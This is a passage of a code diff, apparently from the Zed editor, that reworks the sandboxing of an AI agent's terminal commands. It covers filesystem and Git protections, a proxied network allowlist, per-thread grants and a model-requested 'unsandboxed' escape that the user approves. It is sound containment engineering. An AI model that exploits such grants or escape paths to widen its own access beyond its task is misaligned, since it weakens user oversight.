-        let channel = StatusChannel::bind().context("failed to set up sandbox status channel")?;
-        let (new_program, new_args) = linux_bubblewrap::wrap_invocation(
-            launcher,
-            Some(channel.name()),
-            permissions,
-            &writable,
-            &protected,
-            &allowed_unix_sockets,
-            cwd,
-            &program,
-            &args,
-        );
-
-        // Read the launcher's report in the background, purely for diagnostics.
-        // Callers are expected to check `SandboxWrap::can_create_sandbox` before
-        // reaching here, so the launcher should almost always succeed; a failure
-        // status means the launcher aborted (it never runs a command
-        // unsandboxed), so the command did not run.
-        const STATUS_TIMEOUT: Duration = Duration::from_secs(30);
-        let status_thread = std::thread::Builder::new()
-            .name("zed-sandbox-status".into())
-            .spawn(move || match channel.recv(STATUS_TIMEOUT) {
-                Some(LauncherStatus::Success) => {}
-                Some(status) => log::warn!(
-                    "sandbox could not be created ({}); the command was aborted",
-                    status.describe()
-                ),
-                None => log::warn!("could not determine terminal command sandbox status"),
-            })
-            .context("failed to spawn sandbox status thread")?;
-        // The thread is self-contained and bounded by STATUS_TIMEOUT; let it run
-        // to completion on its own rather than joining here.
-        drop(status_thread);
-
-        // The sandbox applies in-process via the re-exec'd launcher, so
-        // there's no on-disk resource to keep alive.
-        Ok((new_program, new_args, None))
-    }
-    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
-    {
-        // No sandbox integration available; run with ambient permissions.
-        if let NetworkPolicy::Proxied(port) = network_policy {
-            log::debug!(
-                "[sandbox/network] ignoring proxy port {port} because this platform has no sandbox integration"
-            );
-        }
-        let _ = (sandbox_wrap, cwd);
-        Ok((program, args, None))
-    }
-}
-
-/// Upper bound on preparing a WSL-sandboxed command (the probe and path
-/// resolution `wsl.exe` round-trips in [`apply_windows_wsl_sandbox_wrap`]).
-/// Deliberately generous: the first invocation after the WSL utility VM has
-/// shut down (or after boot) has to start the VM and the distro, which
-/// routinely takes 10-30 seconds on slow disks or under antivirus scanning.
-/// The point is not latency policing but turning a wedged `wsl.exe` (a real
-/// failure mode when the WSL service is unhealthy) into an actionable error
-/// instead of a terminal command that never starts.
+/// Upper bound on preparing a WSL-sandboxed command. Deliberately generous:
+/// the first invocation after the WSL utility VM has shut down (or after boot)
+/// has to start the VM and the distro, which routinely takes 10-30 seconds on
+/// slow disks or under antivirus scanning.
 #[cfg(target_os = "windows")]
 pub(crate) const WSL_SANDBOX_WRAP_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(60);
 
-/// Wrap a terminal command so it runs under Bubblewrap inside WSL (see
-/// [`sandbox::windows_wsl`]).
+/// Wrap `(program, args)` for sandboxed execution, returning the wrapped
+/// invocation (program, argv, env) plus the live [`sandbox::Sandbox`] that must
+/// be kept alive for the command's duration. When `sandbox_wrap` is `None` the
+/// command is returned unchanged.
 ///
-/// Async because it performs `wsl.exe` round-trips and UNC-path stats that
-/// can take seconds when the WSL VM is cold; callers must run it on a
-/// background executor so the UI thread is never blocked, and should bound
-/// it with [`WSL_SANDBOX_WRAP_TIMEOUT`]. Parameters are owned so the future
-/// is `Send + 'static`. Dropping the future (timeout or caller cancellation)
-/// kills any in-flight `wsl.exe` child rather than leaking it.
-///
-/// The Windows sandbox (Bubblewrap inside WSL) can only toggle network access
-/// wholesale, so `network_policy` collapses to allow/deny here just as it does
-/// on Linux. `setup_network_proxy` never resolves to `Proxied` on Windows.
-#[cfg(target_os = "windows")]
-pub(crate) async fn apply_windows_wsl_sandbox_wrap(
-    command: String,
+/// The sandbox owns the network proxy (for restricted-network policies) and any
+/// per-command policy file; the env it returns already routes through that
+/// proxy when applicable.
+pub(crate) async fn prepare_sandbox_wrap(
+    program: String,
     args: Vec<String>,
-    cwd: Option<std::path::PathBuf>,
-    sandbox_wrap: SandboxWrap,
-    network_policy: NetworkPolicy,
-    env: collections::HashMap<String, String>,
-) -> anyhow::Result<(String, Vec<String>, Option<SandboxConfigHandle>)> {
-    let allow_network = match network_policy {
-        NetworkPolicy::Denied => false,
-        NetworkPolicy::Unrestricted => true,
-        NetworkPolicy::Proxied(port) => {
-            // Bubblewrap (in WSL) can only toggle network access wholesale, so
-            // it can't confine egress to the proxy's loopback port.
-            // `setup_network_proxy` never resolves to `Proxied` on Windows;
-            // deny network rather than silently widening access.
-            log::debug!(
-                "[sandbox/network] ignoring proxy port {port}; bubblewrap in WSL can't confine to a loopback port"
-            );
-            false
-        }
-    };
-    let (program, args) = task::ShellBuilder::new(&Shell::Program("/bin/sh".to_string()), false)
-        .non_interactive()
-        .redirect_stdin_to_dev_null()
-        .build(Some(command), &args);
-    let writable: Vec<std::path::PathBuf> = sandbox_wrap
-        .writable_paths
-        .into_iter()
-        .chain(sandbox_wrap.extra_write_paths)
-        .collect();
-    let permissions = sandbox::SandboxPermissions {
-        allow_network,
-        allow_fs_write: sandbox_wrap.allow_fs_write,
-    };
-    let (program, args) =
-        sandbox::windows_wsl::wrap_invocation(program, args, writable, permissions, cwd, env)
-            .await?;
-    Ok((program, args, None))
-}
-
-/// Spawn the in-process network proxy for a sandboxed command with restricted
-/// network access, and wire the child's environment to route through it.
-///
-/// Returns the proxy handle (which must outlive the command) alongside the
-/// resolved [`NetworkPolicy`] the sandbox should enforce. The handle is `Some`
-/// only when a proxy was actually spawned. Unrestricted network access skips
-/// proxy setup and resolves to [`NetworkPolicy::Unrestricted`]. Restricted
-/// network access requires a local macOS project so the sandbox can confine
-/// egress to the proxy; otherwise this rejects the command instead of widening
-/// it.
-pub(crate) fn setup_network_proxy(
-    sandbox_wrap: Option<&SandboxWrap>,
-    env: &mut HashMap<String, String>,
-    cx: &mut AsyncApp,
-) -> Result<(Option<ProxyHandle>, NetworkPolicy)> {
+    cwd: Option<PathBuf>,
+    sandbox_wrap: Option<SandboxWrap>,
+    env: HashMap<String, String>,
+) -> anyhow::Result<(
+    String,
+    Vec<String>,
+    HashMap<String, String>,
+    Option<SandboxConfigHandle>,
+)> {
     let Some(sandbox_wrap) = sandbox_wrap else {
-        return Ok((None, NetworkPolicy::Denied));
-    };
-    let Some(allowlist) = sandbox_wrap.network.restricted_allowlist() else {
-        let policy = match &sandbox_wrap.network {
-            SandboxNetworkAccess::None => NetworkPolicy::Denied,
-            SandboxNetworkAccess::All => NetworkPolicy::Unrestricted,
-            SandboxNetworkAccess::Restricted(_) => unreachable!(),
-        };
-        return Ok((None, policy));
+        return Ok((program, args, env, None));
     };
 
-    // The proxy only buys us anything when a Seatbelt sandbox confines the
-    // child to its loopback port, and only works for local projects.
-    if !cfg!(target_os = "macos") || !sandbox_wrap.is_local {
-        anyhow::bail!("restricted network access requested, but no enforcing proxy is available");
-    }
-
-    // Chain through the user's real upstream proxy if the command's environment
-    // names one. A malformed value shouldn't break the terminal, so log and skip.
-    let upstream = match upstream_proxy_from_child_env(env) {
-        Ok(upstream) => upstream,
-        Err(error) => {
-            log::warn!("[sandbox/network] ignoring upstream proxy env: {error:#}");
-            None
-        }
+    let mut sandbox =
+        sandbox::Sandbox::new(sandbox_wrap.to_policy()).map_err(anyhow::Error::new)?;
+    let command = sandbox::CommandAndArgs {
+        program,
+        args,
+        env: env.into_iter().collect::<StdHashMap<_, _>>(),
+        cwd,
     };
-
-    let (events_tx, events_rx) = futures::channel::mpsc::unbounded();
-    let handle = ProxyHandle::spawn(ProxyConfig {
-        allowlist: allowlist.clone(),
-        upstream,
-        events: events_tx,
-    })?;
-    let port = handle.port();
-
-    apply_proxy_env(env, port);
-    spawn_proxy_event_logger(events_rx, cx);
-
-    Ok((Some(handle), NetworkPolicy::Proxied(port)))
-}
-
-fn upstream_proxy_from_child_env(env: &HashMap<String, String>) -> Result<Option<UpstreamProxy>> {
-    let url = first_nonempty_env_value(
-        env,
-        &[
-            "HTTPS_PROXY",
-            "https_proxy",
-            "ALL_PROXY",
-            "all_proxy",
-            "HTTP_PROXY",
-            "http_proxy",
-        ],
-    );
-    let no_proxy = first_nonempty_env_value(env, &["NO_PROXY", "no_proxy"]);
-    UpstreamProxy::parse(url, no_proxy)
-}
-
-fn first_nonempty_env_value<'a>(
-    env: &'a HashMap<String, String>,
-    names: &[&str],
-) -> Option<&'a str> {
-    for name in names {
-        if let Some(value) = env.get(*name)
-            && !value.trim().is_empty()
-        {
-            return Some(value.as_str());
-        }
-    }
-    None
-}
-
-/// Point the child's proxy env vars at the in-process proxy and strip any
-/// inherited `NO_PROXY`.
-///
-/// Both upper- and lower-case forms are set because some clients (notably
-/// curl on macOS) only honor the lowercase variant. `NO_PROXY` is blanked
-/// out so all egress goes through our proxy unconditionally: an inherited
-/// `NO_PROXY` matching an allowlisted host would make the client attempt a
-/// direct connection, which the Seatbelt rule blocks — surfacing as a
-/// confusing "connection refused" instead of a clean policy decision.
-fn apply_proxy_env(env: &mut HashMap<String, String>, port: u16) {
-    let url = format!("http://127.0.0.1:{port}");
-    for key in [
-        "HTTPS_PROXY",
-        "https_proxy",
-        "HTTP_PROXY",
-        "http_proxy",
-        "ALL_PROXY",
-        "all_proxy",
-    ] {
-        env.insert(key.to_string(), url.clone());
-    }
-    for key in ["NO_PROXY", "no_proxy"] {
-        env.insert(key.to_string(), String::new());
-    }
-}
-
-/// Drain the proxy's event channel, logging each event. v1 surfacing only;
-/// future integrations (UI, telemetry) can replace or fan out this consumer.
-fn spawn_proxy_event_logger(
-    mut events: futures::channel::mpsc::UnboundedReceiver<ProxyEvent>,
-    cx: &mut AsyncApp,
-) {
-    cx.background_spawn(async move {
-        use futures::StreamExt as _;
-        while let Some(event) = events.next().await {
-            log_proxy_event(&event);
-        }
-    })
-    .detach();
-}
-
-fn log_proxy_event(event: &ProxyEvent) {
-    match event {
-        ProxyEvent::Ready { .. } => {}
-        ProxyEvent::RequestAttempt {
-            host,
-            port,
-            method,
-            outcome,
-        } => {
-            log::debug!(
-                "[sandbox/network] {} {host}:{port} → {outcome:?}",
-                method.as_str()
-            );
-        }
-        ProxyEvent::RequestCompleted {
-            host,
-            port,
-            method,
-            bytes_to_remote,
-            bytes_from_remote,
-            duration_ms,
-        } => {
-            log::debug!(
-                "[sandbox/network] completed {} {host}:{port} sent={bytes_to_remote} recv={bytes_from_remote} duration={duration_ms}ms",
-                method.as_str(),
-            );
-        }
-    }
+    let wrapped = sandbox.wrap(&command).await.map_err(anyhow::Error::new)?;
+    Ok((
+        wrapped.program,
+        wrapped.args,
+        wrapped.env.into_iter().collect(),
+        Some(sandbox),
+    ))
 }
 
 pub struct Terminal {
@@ -654,11 +266,11 @@ pub struct Terminal {
     /// (e.g., clicking the Stop button). This is set before kill() is called
     /// so that code awaiting wait_for_exit() can check it deterministically.
     user_stopped: Arc<AtomicBool>,
-    /// Seatbelt config kept alive until the sandboxed command exits.
-    /// `None` when the command isn't sandboxed or after it finishes.
-    _sandbox_config: Option<SandboxConfigHandle>,
-    /// In-process network proxy kept alive until the sandboxed command exits.
-    _network_proxy: Option<ProxyHandle>,
+    /// The live sandbox (Seatbelt policy file and/or network proxy) kept alive
+    /// until the sandboxed command exits. `None` when the command isn't
+    /// sandboxed or after it finishes. Dropping it tears down the proxy on a
+    /// background thread (see `sandbox::Sandbox`'s `Drop`).
+    _sandbox: Option<SandboxConfigHandle>,
 }
 
 pub struct TerminalOutput {
@@ -677,15 +289,26 @@ impl Terminal {
         output_byte_limit: Option<usize>,
         terminal: Entity<terminal::Terminal>,
         language_registry: Arc<LanguageRegistry>,
-        sandbox_config: Option<SandboxConfigHandle>,
-        network_proxy: Option<ProxyHandle>,
+        sandbox: Option<SandboxConfigHandle>,
         cx: &mut Context<Self>,
     ) -> Self {
         let command_task = terminal.read(cx).wait_for_completed_task(cx);
+        // Tear the sandbox down on a GPUI background thread when this entity is
+        // released, rather than relying on `Sandbox`'s `Drop` (which would spawn
+        // a throwaway thread) on whatever thread releases us. `on_release` hands
+        // us an `App`, so we can drive the teardown through the background
+        // executor with `drop_on_current_thread`.
+        cx.on_release(|this, cx| {
+            if let Some(sandbox) = this._sandbox.take() {
+                cx.background_executor()
+                    .spawn(async move { sandbox.drop_on_current_thread() })
+                    .detach();
+            }
+        })
+        .detach();
         Self {
             id,
-            _sandbox_config: sandbox_config,
-            _network_proxy: network_proxy,
+            _sandbox: sandbox,
             command: cx.new(|cx| {
                 Markdown::new(
                     format!("```\n{}\n```", command_label).into(),
@@ -715,14 +338,16 @@ impl Terminal {
                             original_content_len,
                             content_line_count,
                         });
-                        // Dropping the proxy handle joins its listener thread
-                        // (after a loopback wakeup connect); do that off the
-                        // foreground thread so a slow/wedged shutdown can't
-                        // stall the UI.
-                        if let Some(proxy) = this._network_proxy.take() {
-                            cx.background_spawn(async move { drop(proxy) }).detach();
+                        // Free the sandbox (and its network proxy) as soon as
+                        // the command finishes, rather than holding it until
+                        // this entity is released. The proxy's teardown joins a
+                        // listener thread, so run it on the background executor
+                        // to keep it off the foreground thread.
+                        if let Some(sandbox) = this._sandbox.take() {
+                            cx.background_executor()
+                                .spawn(async move { sandbox.drop_on_current_thread() })
+                                .detach();
                         }
-                        this._sandbox_config = None;
                         cx.notify();
                     })
                     .ok();
@@ -894,77 +519,3 @@ pub async fn create_terminal_entity(
         })
         .await
 }
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn only_restricted_network_access_uses_proxy_allowlist() {
-        assert!(SandboxNetworkAccess::None.restricted_allowlist().is_none());
-        assert!(SandboxNetworkAccess::All.restricted_allowlist().is_none());
-        assert!(
-            SandboxNetworkAccess::Restricted(Allowlist::from_patterns([
-                http_proxy::HostPattern::parse("example.com").unwrap()
-            ]))
-            .restricted_allowlist()
-            .is_some()
-        );
-    }
-
-    #[test]
-    fn upstream_proxy_from_child_env_uses_from_env_precedence() {
-        let mut env = HashMap::default();
-        env.insert("HTTPS_PROXY".to_string(), " ".to_string());
-        env.insert("https_proxy".to_string(), "http://lower:1111".to_string());
-        env.insert("ALL_PROXY".to_string(), "http://all:2222".to_string());
-        env.insert("HTTP_PROXY".to_string(), "http://http:3333".to_string());
-        env.insert("NO_PROXY".to_string(), "".to_string());
-        env.insert("no_proxy".to_string(), "internal.example".to_string());
-
-        let upstream = upstream_proxy_from_child_env(&env)
-            .expect("proxy env should parse")
-            .expect("proxy env should configure an upstream");
-
-        assert_eq!(upstream.host, "lower");
-        assert_eq!(upstream.port, 1111);
-        assert!(upstream.bypasses("internal.example", 443));
-        assert!(!upstream.bypasses("zed.dev", 443));
-    }
-
-    #[test]
-    fn apply_proxy_env_points_all_proxy_vars_at_proxy_and_blanks_no_proxy() {
-        let mut env = HashMap::default();
-        env.insert("HTTPS_PROXY".to_string(), "http://corp:3128".to_string());
-        env.insert("NO_PROXY".to_string(), "internal.example".to_string());
-        env.insert("PATH".to_string(), "/usr/bin".to_string());
-
-        apply_proxy_env(&mut env, 54321);
-
-        for key in [
-            "HTTPS_PROXY",
-            "https_proxy",
-            "HTTP_PROXY",
-            "http_proxy",
-            "ALL_PROXY",
-            "all_proxy",
-        ] {
-            assert_eq!(
-                env.get(key).map(String::as_str),
-                Some("http://127.0.0.1:54321"),
-                "{key} should point at the in-process proxy"
-            );
-        }
-        // An inherited NO_PROXY would make clients attempt direct
-        // connections that the Seatbelt rule blocks; it must be blanked.
-        for key in ["NO_PROXY", "no_proxy"] {
-            assert_eq!(
-                env.get(key).map(String::as_str),
-                Some(""),
-                "{key} should be blanked"
-            );
-        }
-        // Unrelated variables pass through.
-        assert_eq!(env.get("PATH").map(String::as_str), Some("/usr/bin"));
-    }
-}
diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index 172b8b9a1ecc48..e9abeef5a22614 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -17,6 +17,10 @@ pub use db::*;
 use itertools::Itertools;
 pub use native_agent_server::NativeAgentServer;
 pub use pattern_extraction::*;
+pub use sandboxing::{
+    ThreadSandbox, sandbox_worktree_writable_paths, settings_sandbox_policy,
+    settings_thread_sandbox,
+};
 pub use shell_command_parser::extract_commands;
 pub use templates::*;
 pub use thread::*;
diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 793577146db463..6dafddb3c948fa 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -83,6 +83,42 @@ pub struct DbThread {
     pub ui_scroll_position: Option<SerializedScrollPosition>,
     #[serde(default)]
     pub sandboxed_terminal_temp_dir: Option<PathBuf>,
+    /// Sandbox escalations the user approved "for the rest of this thread".
+    /// Persisted so reopening a thread keeps its grants. See
+    /// [`crate::sandboxing::ThreadSandboxGrants`].
+    #[serde(default)]
+    pub sandbox_grants: DbSandboxGrants,
+}
+
+/// Serialized form of the sandbox permissions the user granted "for the rest of
+/// this thread" (the "Allow for this thread" prompt option). Stored inside the
+/// thread blob; round-trips with [`crate::sandboxing::ThreadSandboxGrants`].
+#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)]
+pub struct DbSandboxGrants {
+    /// Canonicalized paths granted write access; each covers its whole subtree.
+    #[serde(default)]
+    pub write_paths: Vec<PathBuf>,
+    /// Host patterns granted network access, in canonical string form (e.g.
+    /// `github.com`, `*.npmjs.org`). Parsed back into patterns on load.
+    #[serde(default)]
+    pub network_hosts: Vec<String>,
+    /// Whether arbitrary-host network access was granted.
+    #[serde(default)]
+    pub network_any_host: bool,
+    /// Whether unrestricted filesystem writes (the broad escape hatch) were
+    /// granted.
+    #[serde(default)]
+    pub allow_fs_write_all: bool,
+    /// Whether access to protected Git directories (`.git`) was granted.
+    #[serde(default)]
+    pub allow_git_access: bool,
+    /// Whether the model-requested fully-unsandboxed escape was granted.
+    #[serde(default)]
+    pub unsandboxed: bool,
+    /// Whether running commands unsandboxed was allowed because the OS sandbox
+    /// could not be created (the fallback prompt's "for this thread" option).
+    #[serde(default)]
+    pub sandbox_fallback: bool,
 }
 
 #[derive(Debug, Clone, Copy, PartialEq, Serialize, Deserialize)]
@@ -133,6 +169,7 @@ impl SharedThread {
             draft_prompt: None,
             ui_scroll_position: None,
             sandboxed_terminal_temp_dir: None,
+            sandbox_grants: DbSandboxGrants::default(),
         }
     }
 
@@ -317,6 +354,7 @@ impl DbThread {
             draft_prompt: None,
             ui_scroll_position: None,
             sandboxed_terminal_temp_dir: None,
+            sandbox_grants: DbSandboxGrants::default(),
         })
     }
 }
@@ -768,6 +806,7 @@ mod tests {
             draft_prompt: None,
             ui_scroll_position: None,
             sandboxed_terminal_temp_dir: None,
+            sandbox_grants: DbSandboxGrants::default(),
         }
     }
 
@@ -887,6 +926,55 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_sandbox_grants_default_when_absent() {
+        let json = r#"{
+            "title": "Old Thread",
+            "messages": [],
+            "updated_at": "2024-01-01T00:00:00Z"
+        }"#;
+
+        let db_thread: DbThread = serde_json::from_str(json).expect("Failed to deserialize");
+
+        assert_eq!(
+            db_thread.sandbox_grants,
+            DbSandboxGrants::default(),
+            "Legacy threads without sandbox_grants should default to empty grants"
+        );
+    }
+
+    #[gpui::test]
+    async fn test_sandbox_grants_roundtrip_through_save_load(cx: &mut TestAppContext) {
+        let database = ThreadsDatabase::new(cx.executor()).unwrap();
+        let thread_id = session_id("sandbox-grants-thread");
+        let mut thread = make_thread(
+            "Sandbox Grants Thread",
+            Utc.with_ymd_and_hms(2024, 1, 1, 0, 0, 0).unwrap(),
+        );
+        let grants = DbSandboxGrants {
+            write_paths: vec![PathBuf::from("/tmp/build")],
+            network_hosts: vec!["github.com".to_string(), "*.npmjs.org".to_string()],
+            network_any_host: false,
+            allow_git_access: true,
+            allow_fs_write_all: false,
+            unsandboxed: true,
+            sandbox_fallback: true,
+        };
+        thread.sandbox_grants = grants.clone();
+
+        database
+            .save_thread(thread_id.clone(), thread, PathList::default())
+            .await
+            .unwrap();
+
+        let loaded = database
+            .load_thread(thread_id)
+            .await
+            .unwrap()
+            .expect("thread should exist");
+        assert_eq!(loaded.sandbox_grants, grants);
+    }
+
     #[gpui::test]
     async fn test_sandboxed_terminal_temp_dir_roundtrips_through_save_load(
         cx: &mut TestAppContext,
diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index fe6d37a4c28dcc..c930751135dadc 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -30,9 +30,153 @@ use feature_flags::{FeatureFlagAppExt as _, SandboxingFeatureFlag};
 use gpui::App;
 use http_proxy::HostPattern;
 use project::Project;
+use sandbox::{GitSandboxPolicy, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 use settings::Settings;
 use std::path::PathBuf;
 
+/// The directory subtrees the sandbox always grants write access to for a
+/// project: its worktree roots. This is the single source of truth shared by
+/// the terminal tool (which hands these to the sandbox as
+/// [`acp_thread::SandboxWrap::writable_paths`]) and the status UI (which lists
+/// them), so the two can't drift if the set ever changes.
+pub fn sandbox_worktree_writable_paths(project: &Project, cx: &App) -> Vec<PathBuf> {
+    project
+        .worktrees(cx)
+        .map(|worktree| worktree.read(cx).abs_path().to_path_buf())
+        .collect()
+}
+
+/// The `.git` directories the sandbox protects (or, when Git access is granted,
+/// makes writable) for a project. Locating these requires Git knowledge the
+/// sandbox layer can't derive itself: a worktree's `.git`, a linked worktree's
+/// common dir (which lives outside the worktree), and every discovered
+/// repository's git/common dirs. Shared by the terminal tool (enforcement) and
+/// the status UI so the two can't drift.
+pub fn sandbox_git_dirs(project: &Project, cx: &App) -> Vec<PathBuf> {
+    let mut git_dirs = Vec::new();
+
+    for worktree in project.worktrees(cx) {
+        let worktree = worktree.read(cx);
+        let worktree_abs_path = worktree.abs_path();
+        // Protect `<worktree>/.git` even when it doesn't exist yet, so a command
+        // can't `git init` and then write to the freshly created metadata.
+        git_dirs.push(worktree_abs_path.join(".git"));
+        if let Some(root_repo_common_dir) = worktree.root_repo_common_dir() {
+            git_dirs.push(root_repo_common_dir.to_path_buf());
+        }
+    }
+
+    for repository in project.git_store().read(cx).repositories().values() {
+        let repository = repository.read(cx);
+        git_dirs.push(repository.dot_git_abs_path.to_path_buf());
+        git_dirs.push(repository.repository_dir_abs_path.to_path_buf());
+        git_dirs.push(repository.common_dir_abs_path.to_path_buf());
+    }
+
+    git_dirs.sort();
+    git_dirs.dedup();
+    git_dirs
+}
+
+/// What sandbox a thread applies to agent terminal commands, as one value the
+/// UI renders and enforcement builds from. "No sandbox" is its own variant
+/// rather than a maximally-permissive [`SandboxPolicy`] so that a wide-open but
+/// real sandbox (e.g. `allow_fs_write_all` + `allow_all_hosts`) stays
+/// distinguishable from running with no sandbox at all — the two grant the same
+/// filesystem/network reach but only the latter means the command runs with
+/// ambient permissions.
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub enum ThreadSandbox {
+    /// No OS sandbox is applied; commands run with ambient permissions.
+    Unsandboxed,
+    /// A sandbox is applied with this scope.
+    Sandboxed(SandboxPolicy),
+}
+
+impl ThreadSandbox {
+    /// Combine two layers (e.g. the persistent settings and this thread's
+    /// grants).
+    ///
+    /// This is treated as an allowlist - i.e. merging a sandbox that allows
+    /// resource A with a sandbox that allows resource B creates a sandbox with
+    /// access to both resource A and resource B.
+    pub fn merge(self, other: ThreadSandbox) -> ThreadSandbox {
+        match (self, other) {
+            (ThreadSandbox::Unsandboxed, _) | (_, ThreadSandbox::Unsandboxed) => {
+                ThreadSandbox::Unsandboxed
+            }
+            (ThreadSandbox::Sandboxed(a), ThreadSandbox::Sandboxed(b)) => {
+                ThreadSandbox::Sandboxed(a.merge(b))
+            }
+        }
+    }
+
+    /// Whether no OS sandbox is applied.
+    pub fn is_unsandboxed(&self) -> bool {
+        matches!(self, ThreadSandbox::Unsandboxed)
+    }
+
+    /// Attach the project's Git policy to a sandboxed layer. The settings/grants
+    /// don't know the project's `.git` locations, so the caller computes them
+    /// (via [`sandbox_git_dirs`]) and passes whether this layer grants Git
+    /// access. A no-op for the `Unsandboxed` variant.
+    pub fn with_git(self, allowed: bool, git_dirs: Vec<PathBuf>) -> ThreadSandbox {
+        match self {
+            ThreadSandbox::Unsandboxed => ThreadSandbox::Unsandboxed,
+            ThreadSandbox::Sandboxed(policy) => {
+                let git = if allowed {
+                    GitSandboxPolicy::Allowed { git_dirs }
+                } else {
+                    GitSandboxPolicy::Denied { git_dirs }
+                };
+                ThreadSandbox::Sandboxed(policy.with_git(git))
+            }
+        }
+    }
+}
+
+/// The sandbox the user's persistent settings establish for every thread, as a
+/// [`ThreadSandbox`]. The persistent `allow_unsandboxed` setting removes the
+/// sandbox entirely; otherwise the writable-path and host grants form its
+/// scope. The per-thread overrides come from [`ThreadSandboxGrants::thread_sandbox`].
+pub fn settings_thread_sandbox(persistent: &SandboxPermissions) -> ThreadSandbox {
+    if persistent.allow_unsandboxed {
+        ThreadSandbox::Unsandboxed
+    } else {
+        ThreadSandbox::Sandboxed(settings_sandbox_policy(persistent))
+    }
+}
+
+/// Translate the persistent "allow always" sandbox settings into the
+/// cross-platform [`SandboxPolicy`] used for display. This is the "from your
+/// settings" half of the sandbox status surface; the per-thread overrides come
+/// from [`ThreadSandboxGrants::to_policy`].
+pub fn settings_sandbox_policy(persistent: &SandboxPermissions) -> SandboxPolicy {
+    let fs = if persistent.allow_fs_write_all {
+        SandboxFsPolicy::Unrestricted
+    } else {
+        SandboxFsPolicy::Restricted {
+            writable_paths: persistent.write_paths.clone(),
+        }
+    };
+    let network = if persistent.allow_all_hosts {
+        SandboxNetPolicy::Unrestricted
+    } else if persistent.network_hosts.is_empty() {
+        SandboxNetPolicy::Blocked
+    } else {
+        SandboxNetPolicy::Restricted {
+            allowed_domains: persistent.network_hosts.clone(),
+        }
+    };
+    // The persistent settings don't know the project's `.git` locations; the UI
+    // layer attaches the real Git policy via `SandboxPolicy::with_git`.
+    SandboxPolicy {
+        fs,
+        network,
+        git: GitSandboxPolicy::default(),
+    }
+}
+
 /// Whether agent-run terminal commands should be wrapped in an OS-level
 /// sandbox for this process. See module docs for the policy.
 pub(crate) fn sandboxing_enabled(cx: &App) -> bool {
@@ -50,11 +194,20 @@ pub(crate) fn sandboxing_enabled(cx: &App) -> bool {
 /// prompt in place, since the model is still operating in the sandbox model and
 /// only escaping individual commands (tracked in `ThreadSandboxGrants`).
 pub(crate) fn sandboxing_enabled_for_project(project: &Project, cx: &App) -> bool {
-    sandboxing_enabled(cx)
-        && project.is_local()
+    sandboxing_available_for_project(project, cx)
         && !AgentSettings::get_global(cx)
             .sandbox_permissions
             .allow_unsandboxed
+}
+
+/// Whether sandboxing is *applicable* for this project at all — the feature is
+/// enabled, the project is local, and the platform has a sandbox integration —
+/// independent of the persistent `allow_unsandboxed` setting. Used by the UI to
+/// distinguish "sandboxing isn't relevant here" (don't show the indicator) from
+/// "sandboxing is available but turned off in settings" (show it, struck out).
+pub(crate) fn sandboxing_available_for_project(project: &Project, cx: &App) -> bool {
+    sandboxing_enabled(cx)
+        && project.is_local()
         && cfg!(any(
             target_os = "macos",
             target_os = "linux",
@@ -236,6 +389,20 @@ impl ThreadSandboxGrants {
         self.sandbox_fallback
     }
 
+    /// Whether the user approved running model-requested `unsandboxed: true`
+    /// commands for the rest of the thread. Once granted, every command in the
+    /// thread runs without a sandbox (the model can no longer scope access),
+    /// mirroring the `sandbox_fallback` grant.
+    pub fn unsandboxed_granted(&self) -> bool {
+        self.unsandboxed
+    }
+
+    /// Whether the user approved access to protected Git directories for the
+    /// rest of the thread.
+    pub fn git_access_granted(&self) -> bool {
+        self.allow_git_access
+    }
+
     /// Record that the user approved running commands unsandboxed for the rest
     /// of the thread when the sandbox can't be created. Only the Bubblewrap
     /// sandboxes (Linux directly, Windows via WSL) can fail to create a
@@ -245,6 +412,97 @@ impl ThreadSandboxGrants {
         self.sandbox_fallback = true;
     }
 
+    /// The sandbox this thread's grants establish on top of the settings, as a
+    /// [`ThreadSandbox`]. A standing "run unsandboxed" grant (a model-requested
+    /// escape approved for the thread, or the sandbox-creation fallback) removes
+    /// the sandbox entirely; otherwise the granted writable paths and hosts form
+    /// its scope. This is the "overridden in this thread" half of the sandbox
+    /// status surface; the persistent half comes from [`settings_thread_sandbox`].
+    pub fn thread_sandbox(&self) -> ThreadSandbox {
+        if self.unsandboxed || self.sandbox_fallback {
+            ThreadSandbox::Unsandboxed
+        } else {
+            ThreadSandbox::Sandboxed(self.to_policy())
+        }
+    }
+
+    /// Translate the per-thread overrides into the cross-platform
+    /// [`SandboxPolicy`] used for display. This is the "overridden in this
+    /// thread" half of the sandbox status surface; the persistent half comes
+    /// from [`settings_sandbox_policy`].
+    pub fn to_policy(&self) -> SandboxPolicy {
+        let fs = if self.allow_fs_write_all {
+            SandboxFsPolicy::Unrestricted
+        } else {
+            SandboxFsPolicy::Restricted {
+                writable_paths: self.write_paths.clone(),
+            }
+        };
+        let network = if self.network_any_host {
+            SandboxNetPolicy::Unrestricted
+        } else if self.network_hosts.is_empty() {
+            SandboxNetPolicy::Blocked
+        } else {
+            SandboxNetPolicy::Restricted {
+                allowed_domains: self
+                    .network_hosts
+                    .iter()
+                    .map(|host| host.to_string())
+                    .collect(),
+            }
+        };
+        // Grants don't carry the project's `.git` locations; the UI layer
+        // attaches the real Git policy via `SandboxPolicy::with_git`.
+        SandboxPolicy {
+            fs,
+            network,
+            git: GitSandboxPolicy::default(),
+        }
+    }
+
+    /// Serialize these grants for persistence in the thread's database row.
+    /// Host patterns are written in canonical string form so they round-trip
+    /// through [`HostPattern::parse`] on load.
+    pub fn to_db(&self) -> crate::db::DbSandboxGrants {
+        crate::db::DbSandboxGrants {
+            write_paths: self.write_paths.clone(),
+            network_hosts: self
+                .network_hosts
+                .iter()
+                .map(|host| host.to_string())
+                .collect(),
+            network_any_host: self.network_any_host,
+            allow_git_access: self.allow_git_access,
+            allow_fs_write_all: self.allow_fs_write_all,
+            unsandboxed: self.unsandboxed,
